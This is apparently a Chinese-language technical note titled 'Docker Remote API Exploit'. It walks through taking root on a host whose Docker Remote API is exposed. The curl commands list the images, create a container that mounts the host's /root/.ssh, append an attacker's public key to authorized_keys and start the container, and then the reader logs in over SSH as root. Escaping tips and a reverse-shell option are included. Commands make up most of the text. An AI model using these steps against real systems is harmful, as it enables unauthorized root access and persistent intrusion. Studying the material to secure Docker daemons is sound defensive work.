Docker Remote API Exploit
Source:
昨天下午和今天上午一起和@ccst同学查资料讨论了下,以下是结果:
可以按照zone里面说的,直接使用docker本地客户端进行shell反弹,安装docker: curl -sSL https://get.docker.com/ | sh
,如果在链接的时候提示client版本高于服务器版本可以这样子:export DOCKER_API_VERSION=1.9.0
,后面的版本自己定。
另外一种方法就是直接使用Remote API,把本地id_rsa.pub
写入到远程宿主机的/root/.ssh/authorized_keys
。
先创建container
,同时把宿主机的/root/.ssh
挂载到docker的container
某个目录,比如/tmp
:
curl -X POST -H "Content-Type: application/json" -d '{ "Cmd": [ "/bin/sh", "-c", " echo \"公钥\" >> /tmp/authorized_keys " ], "Image": "sshd", "Volumes": { "/tmp": {} }, "HostConfig": { "Binds": ["/root/.ssh:/tmp:rw"] } } ' "http://10.20.30.40:2375/containers/create"
上面的创建create中的Image
可以先远程查看有哪些image: curl -v http://10.20.30.40:2375/images/json
,这样会列出所有的image
,从其中跳出来一个像这样的
"RepoTags": [ "nginx:latest" ],
注意nginx
后面有一个latest
。创建的时候指定image
,尽可能找有latest
的image,
以上命令会返回创建好的container
的id
然后启动container
: curl -X POST http://10.20.30.40:2375/containers/id/start
然后直接连接就ok:ssh root@10.20.30.40
中间主要的坑就是把公钥写入到对应的文件里面,公钥前面要加
\
转义,并且必须要用双引号把公钥包含起来,创建的时候必须指定image。
参考资料:https://docs.docker.com/engine/reference/api/docker_remote_api_v1.21/#start-a-container